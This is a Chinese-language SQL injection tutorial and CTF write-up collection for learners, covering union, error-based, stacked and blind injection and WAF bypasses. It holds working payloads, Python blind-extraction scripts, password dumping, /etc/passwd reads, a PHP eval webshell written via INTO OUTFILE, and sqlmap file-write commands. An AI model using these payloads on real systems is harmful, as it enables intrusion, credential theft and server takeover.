SQL注入+CTF实例

SQL注入的做题步骤

1.判断数字型还是字符型

数字型:
select * from table where id=$id;
字符型:
select * from table where id='$id'; # 一般是单引号闭合,也有可能是双引号,又或者是')、")、'))等等都有可能

可以用and 1=1和and 1=2作为判断

如果是字符型:and 1=1 和 and 1=2都会正常显示

如果是数字型:and 1=1 会正常显示,但是 and 1=2不会正常显示

 

 2.先用万能密码试一下

万能密码有很多种形式:
' or 1=1 --+ ## 字符型
' or '1'='1 ## 字符型or 1=1 ## 数字型

 

3.如果可以回显的话,就可以打一套组合拳

# 以数字型为例
## 使用order by查询字段个数
?id=1 order by 4
## 使用union select,上一步已经知道字段个数,union select 1,2,3,.....(字段个数是多少个就写到几)
?id=-1 union select 1,2,3 // 用-1就可以知道知道具体回显的是1还是2还是3
## 爆库名
?id=-1 union select 1,2,database() //有时还要查询以下数据库的版本,因为只有mysql5.0以上的版本有information_schema数据库,才可以用接下来的一套:version()
## 爆表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
## 爆列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
## 爆敏感信息
?id=-1 union select 1,2,group_concat(id,username,password) from users

4.报错注入的话,也可以打一套组合拳

# 以字符型为例,闭合方式是单引号
## 爆库名
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
## 爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
## 爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+
## 爆敏感信息
?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e))--+
  • 使用前提:在mysql(大于5.1版本)中添加了对XML文档进行查询和修改的函数,updatexm()和extracvalue();而显示错误则需要在开发程序中采用print_r mysql_error()函数,将mysql错误信息输出。
  • 即后台没有屏蔽数据库的报错信息,且报错信息会返回到前端

5.堆叠注入

堆叠查询可以执行任意的sql语句。但在Mysql中,需要使用mysql_multi_query()函数才可以进行多条sql语句同时执行。

6.盲注

6.1基于时间的盲注(也叫延时注入,用的最多,不用考虑回显)

//判断闭合方式,如果正确执行了sleep表示闭合方式正确
1' and if(1=1,sleep(5),1)--+
// 判断长度
1' and if(length(database())=8,sleep(5),1)--+
// 爆库名
1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
// 爆表名
1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
// 爆字段
1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
// 爆敏感信息
1' and if(ascii(substr((select group_concat(password) from users),1,1))=68,sleep(5),1)--+

其中的函数:

  • if(条件,1,sleep(10)) 函数:当条件为真,则执行sleep(5),页面延迟5秒,否则不延迟
  • ascii()函数:将指定字符串进行acii编码
  • substr()函数:截取字符串,第2个参数是开始截取的位置(从1开始),第3个参数是截取的长度。与它用法相同的还有mid()函数

题目中遇到需要盲注的时候,可以用python脚本或者是用sqlmap

# python脚本
import time
import requestsurl='http://sqli-labs.com/Less-9/?id=1'
# 单引号闭合
## 爆库名
payload1="' and if(ascii(substr(database(),{},1))={},sleep(5),1)--+"
## 爆表名
payload2="1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(5),1)--+"
## 爆字段名
payload3="1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{},1))={},sleep(5),1)--+"
## 爆敏感信息
payload4="1' and if(ascii(substr((select group_concat(password) from users),{},1))={},sleep(5),1)--+"flag=""
for i in range(1,50):for j in range(33,127):final_url=url+payload2.format(i,j)t1=time.time()response=requests.get(final_url) # get请求t2=time.time()if t2-t1>5:flag+=chr(j)print(flag)break
print(flag)

6.2基于布尔的盲注(需要观察页面的细微变化)

//判断闭合方式,在没有报错信息的情况下,页面在正确和错误时有细微的变化
1'
// 判断长度
1' and length(database())=8--+
// 爆库名
1' and ascii(substr(database(),1,1))=115--+
// 爆表名
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+
// 爆字段
1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+
// 爆敏感信息
1' and ascii(substr((select group_concat(password) from users),1,1))=68--+
# python脚本
import requestsurl='http://sqli-labs.com/Less-8/?id=1'
# 单引号闭合
## 爆库名
payload1="1' and ascii(substr(database(),{},1))={}--+"
## 爆表名
payload2="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}--+"
## 爆字段名
payload3="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{},1))={}--+"
## 爆敏感信息
payload4="1' and ascii(substr((select group_concat(password) from users),{},1))={}--+"flag=""
for i in range(1,50):for j in range(33,127):final_url=url+payload1.format(i,j)response=requests.get(final_url) # get请求if "You are in" in response.text:flag+=chr(j)print(flag)break
print(flag)

7.读取敏感文件和写入一句话木马

7.1select into outfile 写一句话木马

利用条件:
1.知道网站的绝对路径
2.secure_file_priv不能为null(在mysql中执行show variables like 'secu%';可以知道)
3.具有写入文件的权限

-1 union select 1,"<?php @eval($_POST[1]);?>" into outfile "/var/www/html/test2.php"

 7.2利用load_file读取敏感文件

-1 union select 1,load_file('/etc/passwd')

MySQL的一些基础知识

在mysql5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。在这个数据库中,有一些比较重要的表可以帮助解题。

tables表

用于存放MySQL中所有数据库表的名字,有两个字段名:table_name(显示表的名字)、table_schema(表所属数据库的名字)

columns表

用于存放MySQL中所有数据库字段的名字,有三个字段:column_name(字段名字)、table_name(字段所属表的名字)、table_schema(字段所属表所属数据库名字)

schemata表

用于存放所有数据库的的名字。

select group_concat(schema_name) from information_schema.schemata;

其他查询语句 

 除了select查询语句以外,还有其他不太常见的查询语句,在select被过滤之后可以用:

show databases; # 显示所有的数据库
show tables; # 显示当前数据库的所有表
show tables from db_name; # 显示指定数据库的所有表
show columns from table_name; # 显示指定表的字段名handler基础语句:(一次读取一行)
handler table_name open; # 打开一个指定表名的句柄
handler table_name read first; # 获取第一行
handler table_name read next; # 获取下一行
handler table_name read prev; # 获取上一行
handler table_name read last; # 获取最后一行
handler table_name close; # 打开一个指定表名的句柄

预处理语句

预处理语句用于执行多个相同的SQL语句,这样就不用每次输入,减少编译次数,提高运行效率。Mysql官方将prepare、execute、deallocate统称为prepare statement。

比如:
set @b=concat("sele","ct","* from `1919810931114514`");
prepare dump from @b;
execute dump;

一些绕过姿势

这些绕过方式在遇到其他waf也是同样适用的。

  • 大小写绕过

        如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。

        如:sElEct

  • 双写绕过

        是因为过滤时只进行了一次替换,将关键字替换为空

        如:ununionion、selselectect

  • 编码绕过

        可以利用URL编码、十六进制编码、Unicode编码、ASCII编码绕过

  • 内联注释绕过

        将语句放在/*!...*/中,只有在MySQL中会执行

        如:/*!select*/ * from admin

  • 多个注释符等效替换

        --+、#、/*...*/

        用 or '1'=' 闭合单引号

  • 过滤and和or

        除了上面的大小写、双写,还有&&和||

  • 过滤空格

        编码:%20(URL编码、%09(Tab键,水平、%0a(新建一行)、%0c(新的一页)、%0d(return功能)、%0b(Tab键,垂直)、%a0

        用括号包裹、/**/代替空格、`(Tab键上面的)

  • 过滤等号

        like:不加通配符的时候执行效果和 = 一致

        rlike:不加通配符的时候和 = 一致

        !<>:<>等价于!=,前面加一个!就是等号

sqlmap的使用

sqlmap的参数和使用命令非常多,只能先记一些基础的,要用的时候再去查,再去积累。

# get请求的基础命令: --batch是使用默认回复,不询问用户
sqlmap -u "目标网址/?id=1" --batch --dbs // 探测数据库
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 --tables  //探测表名
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 -T 表名 --columns  //探测字段名
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 -T 表名 -C username,password --dump  //探测字段值
# post请求:用sqlmap有3种
1.
sqlmap -r 文件路径 -p id --dbs// 用bp抓包后,保存请求包为文件。在有多个参数的时候,用-p指定参数
2.
sqlmap -u "目标网址" --forms --dbs
3.
sqlmap -u "目标网址" --data="id=1" --dbs
# 其他进阶命令和参数
sqlmap -u "目标网址/?id=1" --technique=S // --technique:使用的 SQL 注入技术,当知道可以用什么注入技术的时候,可以指定,有BEUSTQ,S是堆叠注入# 读取敏感文件
sqlmap -u "目标网址/?id=1" --batch --file-read='/etc/passwd' //会将结果存放在指定路径下(路径会有提示)# 上传一句话木马
sqlmap -u "目标网址/?id=1" --batch --file-write='木马所在路径' --file-dest='靶机存放木马文件的路径'# 更新sqlmap
sqlmap --update

CTF实例

XCTF-inget(万能密码)

1.用万能密码尝试

// 用以下payload可以得到flag
?id=1' or '1=1
?id=1' or 1=1--+
?id=1' or 1=1%23 //不能直接用#,会被浏览器当作URL的书签
?id=1' or '1'='1
?id=' or ''='

原理:
因为是字符型,所以第一个单引号是闭合'$id',后面的是为了让永真条件成立,用原本的单引号闭合或者直接注释掉

2.或者用sqlmap,然后后面跟参数即可 

sqlmap -u "http://61.147.171.105:52454/?id=1"

BUUCTF-极客大挑战2019-LoveSQL(回显)

1.表单输入,随便输入然后用bp抓包,可以看到是字符型,且单引号闭合。这题没有任何的过滤,可以自己手动注入

数据库名:geek

表名:geekuser,l0ve1ysq1

l0ve1ysq1列名:id,username,password

BUUCTF-极客大挑战2019-HardSQL(报错注入)

1.使用bp进行fuzz测试,可以发现过滤了很多关键词

什么是fuzz模糊测试?

它是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试类型。

在ctf中,使用方法为:先手工测试几个符号,大概看看有哪个被过滤掉了,然后在模糊测试时,只要和你刚测试的length一样长的,就都是被过滤的。

2.尝试报错注入:过滤了and、&&、||,改用or;过滤了=,改用like;还过滤了空格,可以用括号包裹

payload1:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
payload2:
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
payload3:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#
payload4:
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

数据库名:geek

表名:H4rDsq1

H4rDsq1列名:id,username,password

 3.到第四个payload时,发现flag无法完全显示,可以用right函数

right函数:从右边截取指定长度的字符串

left函数:从左边截取

payload5:
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#

BUUCTF-强网杯2019随便注(堆叠注入) 

1.用万能密码尝试,发现会显示所有结果。

 2.尝试用回显的时候,order by没有被过滤,但是union和select都被过滤了。用的是preg_match/i,双写和大小写都不能绕过;尝试用了URL编码好像也不行

 3.select被过滤,可以尝试show语句+堆叠注入

payload1:
-1';show databases;
payload2:
-1';use supersqli;show tables;
payload3:
-1';show columns from `1919810931114514` from supersqli;# 字符串为表名操作时要加反引号

 

数据库:supersqli

表:1919810931114514、words(开始输入1时返回的数据就是words里面的)

1919810931114514表字段:flag

4.最后用handler语句查询表中数据

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。 

payload4:
-1';handler `1919810931114514` open as p;handler p read first;

5.这题用不了预处理语句,因为使用strstr函数去匹配set和prepare关键字

BUUCTF-极客大挑战2019-BabySQL(绕过姿势)

1.这道题尝试使用万能密码的时候,可以发现or和and都被过滤了。用大小写无法绕过,但是双写可以。

 2.然后尝试用回显,order by没法用,因为or和by被过滤了,尝试用union select(记得双写),发现2和3可以回显

3.然后接着爆库,记得information_schema里的or双写,发现from和where也被过滤,也是双写绕过。爆字段名的时候and被过滤,用&&即可绕过,最后password中的or也要双写

payload1:
' uniunionon selselectect 1,2,database()#
payload2:
' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()#
payload3:
' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema=database()&&table_name='b4bsql'#
payload4:
' uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql#

 

数据库:geek

版本:10.3.18-MariaDB

表:b4bsql,geekuser

b4bsql字段:id,username,password

BugKu-成绩查询(post请求) 

1.用bp抓包,没有任何过滤,直接回显一套组合拳就可以得到flag

数据库:skctf

版本:5.1.73

表:fl4g,sc

字段名:skctf_flag

2.用sqlmap也可以,bp抓包将请求包保存1.txt

payload1:
sqlmap -r 1.txt --dbs
或者:sqlmap -u http://114.67.175.224:10035/ --forms --dbs ## 全部回车默认选项即可
或者:sqlmap -u http://114.67.175.224:10035/ --data="id=1" --dbs
payload2:
sqlmap -r 1.txt -D skctf --tables
payload3:
sqlmap -r 1.txt -D skctf -T fl4g --columns
payload4:
sqlmap -r 1.txt -D skctf -T fl4g -C skctf_flag --dump

 

BUUCTF-CISCN2019 华北赛区 Day2 Web1-Hack World(布尔盲注)

1.尝试输入1和2有内容,其他没有,尝试输入1abc的时候返回bool(false),是数字型。尝试用万能密码的时候会返回SQL Injection Checked.,说明被过滤了。用bp的fuzz测试一下,发现过滤了很多

2.题目提示了flag在flag表中,字段名也为flag,所以直接用python脚本爆破flag。好像这题用不了sqlmap,试了很多次还是不行。

import requests# post请求
url="http://62d5a90a-a54f-41ae-9659-5d363a1ef7d5.node5.buuoj.cn:81/index.php"
payload1="(ascii(substr(database(),{},1))={})" ## 数据库名 ctftraining
payload2="(ascii(substr((select(flag)from(flag)),{},1))={})" ## 没用group_concat因为过滤group关键字
flag=""
for i in range(1,50):for j in range(33,127):payload=payload2.format(i,j)data={"id":payload}response=requests.post(url,data=data)if "Hello, glzjin wants a girlfriend." in response.text:flag+=chr(j)print(flag)break
print(flag)## flag{9b46b4b5-8fba-4075-89385794f31}

青少年CTF练习平台-文章管理系统(读取敏感文件或写入木马)

 1.用1 and 1=2测试发现是数字型,然后用万能密码尝试,发现了一个假的flag。

2.这道题没有过滤,但是不是在数据库中找flag,可以用sqlmap读取敏感文件,或者写入木马用蚁剑连接都可以得到flag。

payload1:
sqlmap -u http://challenge.qsnctf.com:32007/?id=1 --file-read="/flag" ## 这次flag文件名刚好是flag
payload2:
sqlmap -u http://challenge.qsnctf.com:32007/?id=1 --file-write="1.php" --file-dest="/var/www/html/test.php"
payload3:
-1 union select 1,"<?php @eval($_POST[1]);?>" into outfile "/var/www/html/test2.php"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/142560.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【渗透测试】——VulnHub靶机渗透实战 | HA:Joker

&#x1f4d6; 前言&#xff1a;Vulnhub 是一个漏洞靶场平台&#xff0c;里面含有大量的靶场镜像&#xff0c;只需要下载虚拟机镜像&#xff0c;导入 VMWare 或者 VirtualBox 即可启动靶场。本文将从环境搭建、端口扫描、目录扫描到信息提取和突破8080端口&#xff0c;尽可能排…

PMP--一模--解题--101-110

文章目录 11.风险管理--过程--识别风险→实施定性风险分析→实施定量风险分析→规划风险应对→实施风险应对→监督风险101、 [单选] 在项目即将进入收尾阶段时&#xff0c;项目经理发现了一项原来没有考虑到的新风险。该风险一旦发生&#xff0c;可能给最终的可交付成果带来重要…

828华为云征文|Flexus X实例Docker+Jenkins+gitee实现CI/CD自动化部署-解放你的双手~

目录 前言 实验步骤 环境准备 安装Portainer 拉取镜像 更换镜像源 启动容器 安装jenkins 拉取镜像 获取管理员密码 新建流水线项目 Portainer配置 gitee配置WebHooks 构建 修改代码&#xff0c;自动部署 前言 &#x1f680; 828 B2B企业节特惠来袭&#xff0c;…

【自学笔记】支持向量机(2)——核函数

引入 核函数的功能是将一组数据映射到更高维的特征空间&#xff0c;这样可以让在低维无法线性分类的数据能够在高维空间下被分类。   可以证明&#xff0c;如果原始数据是有限的维度&#xff0c;那么一定存在一个高维特征空间使得样本线性可分。 文章内容由《机器学习》相关内…

道路驾驶视角人车检测数据集 16000张 带标注 voc yolo

随着智能驾驶技术和车辆辅助系统的快速发展&#xff0c;道路驾驶视角下的多目标检测成为了保障行车安全的关键技术之一。为了提高自动驾驶车辆以及辅助驾驶系统的性能&#xff0c;需要大量的高质量标注数据来训练这些系统。本数据集旨在为道路驾驶视角下的人车检测提供高质量的…

linux 操作系统下dd 命令介绍和使用案例

linux 操作系统下dd 命令介绍和使用案例 1. dd 命令简介 dd 命令是一个功能强大的 Linux 工具,用于转换和复制文件。它的主要用途包括: 创建引导盘备份和恢复磁盘分区创建磁盘镜像清除磁盘数据测试读写性能 dd 命令的语法与大多数 Linux 命令有所不同,使用 optionvalue 的形…

[YM]模板-顺序表

概念&#xff1a; 顺序表是一种线性表&#xff0c;作为线性表的一种&#xff0c;它是用一段物理地址连续的存储单元依次存储数据元素的线性结构 模板&#xff1a; typedef int T; typedef struct Node{T *data;int last;int MaxSize; }*LinearList; //1 初始化顺序表 int Ini…

【C++学习】 IO 流揭秘:高效数据读写的最佳实践

✨ 今朝有酒今朝醉&#xff0c;明日愁来明日愁 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;C学习 ⛺️ 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f442;&#x1f3f…

Java之线程篇四

目录 volatile关键字 volatile保证内存可见性 代码示例 代码示例2-&#xff08;volatile&#xff09; volatile不保证原子性 synchronized保证内存可见性 wait()和notify() wait()方法 notify() 理解notify()和notifyAll() wait和sleep的对比 volatile关键字 volati…

基于yolov8的茶叶病害检测系统python源码+onnx模型+评估指标曲线+精美GUI界面

【算法介绍】 基于YOLOv8的茶叶病害检测系统&#xff0c;是利用深度学习技术&#xff0c;特别是YOLOv8这一先进的目标检测算法&#xff0c;来精准识别和监测茶叶生长过程中出现的各种病害。该系统通过无人机、地面机器人或固定摄像头等设备&#xff0c;定期采集茶园的高分辨率…

MATLAB窗口操作常用命令

MATLAB窗口操作常用命令 命令功能clc清除窗口命令clear commandclf清除图形对象(窗口)clear清除工作区所有变量 释放内存clear all清除工作区的所有变量和函数type显示指定文件的所有内容与CMD命令类似dir查看当前工作文件夹中的内容与CMD命令类似save保存工作区或工作区中任何…

多维度智能体验:引领未来的RAG型知识图谱数字

随着人工智能技术的发展&#xff0c;传统的数字人已逐渐普及&#xff0c;但大多数仍然局限于简单的文本回复或预设答案&#xff0c;缺乏深入的语义理解和个性化互动能力&#xff0c;难以应对复杂、多维度的问题交互。不同于传统的数字人&#xff0c;英智知识图谱RAG型数字人提供…

.NET源码的在线探索:source.dot.net网站深度解析

一个在线的.NET源码查询网站为https://source.dot.net/。这个网站为开发者提供了便捷的.NET源码查询服务&#xff0c;无需从GitHub等代码托管平台下载整个源代码库&#xff0c;即可在线浏览和查询.NET框架及相关项目的源代码。 以下是该网站的一些主要功能特性&#xff1a; …

vue node node-sass sass-loader 版本 对应 与 兼容

警告&#xff1a; LibSass 和 Node Sass 已弃用。虽然它们将继续无限期地接收维护版本&#xff0c;但没有计划添加其他功能或与任何新的 CSS 或 Sass 功能兼容。仍在使用它的项目应该转移到 Dart Sass。 sass Sass是一种预处理器脚本语言&#xff0c;可以解释或编译成…

英语学习之vegetable

这里写目录标题 不熟悉的单词熟悉的句型 不熟悉的单词 brocolli &#xff08;花&#xff09;椰菜&#xff1b;西兰花&#x1f966; spinach 菠菜 aubergine 茄子&#x1f346; cabbage 卷心菜 zucchini/courgette 西葫芦 parsnip 欧洲防风&#xff0c;民间俗称“芹菜萝卜” …

[240917] Docker vs Podman:容器化的终极对决 | Kali Linux 2024.3 版本发布

目录 Docker &#x1f40b; vs &#x1f9ad; Podman: 容器化领域的终极对决一、容器化简介二、&#x1f40b; Docker 是什么&#xff1f;三、&#x1f9ad; Podman 是什么&#xff1f;四、架构差异1. Docker 的客户端-服务器模型2. Podman 的无守护进程架构 五、安全注意事项1…

苹果 2024 秋季新品发布会一文汇总:iPhone 16 / Pro 登场、手表耳机齐换代

✌ 作者名字&#xff1a;高峰君主 &#x1f4eb; 如果文章知识点有错误的地方&#xff0c;请指正&#xff01;和大家一起学习&#xff0c;一起进步&#x1f440; &#x1f4ac; 人生格言&#xff1a;没有我不会的语言&#xff0c;没有你过不去的坎儿。&#x1f4ac; &#x1f5…

2024年最新版本spss 27中文版新功能特色及下载安装激活教程

在智能设备领域&#xff0c;一款名为SPSS 27.0的专业统计软件正因其卓越性能和革新功能在市场上引发热议。这款老牌统计工具在历经多次迭代后&#xff0c;不仅保持了其在科研和教育领域的核心地位&#xff0c;还通过增强用户体验和引入先进功能&#xff0c;重新定义了数据分析的…

数据爬虫中遇到验证码的解决方法

在数据爬虫中遇到验证码是一个常见且复杂的问题&#xff0c;验证码的存在主要是为了阻止自动化工具&#xff08;如爬虫&#xff09;对网站进行过度访问或数据抓取&#xff0c;以保护网站的安全性和数据的准确性。 一、验证码的基本概念与类型 验证码&#xff08;CAPTCHA&…

Java的输入输出

秋招笔试很多都是要自己写输出输出的&#xff0c;所以对常见的整理一下&#xff0c;后续也会持续更新的~~~ 目录 1.java中的Scanner类 1.1next()方法和nextLine()方法的区别 1. next() 方法 示例 2. nextLine() 方法 示例 主要区别 使用场景 2.print类 3.常用的转换…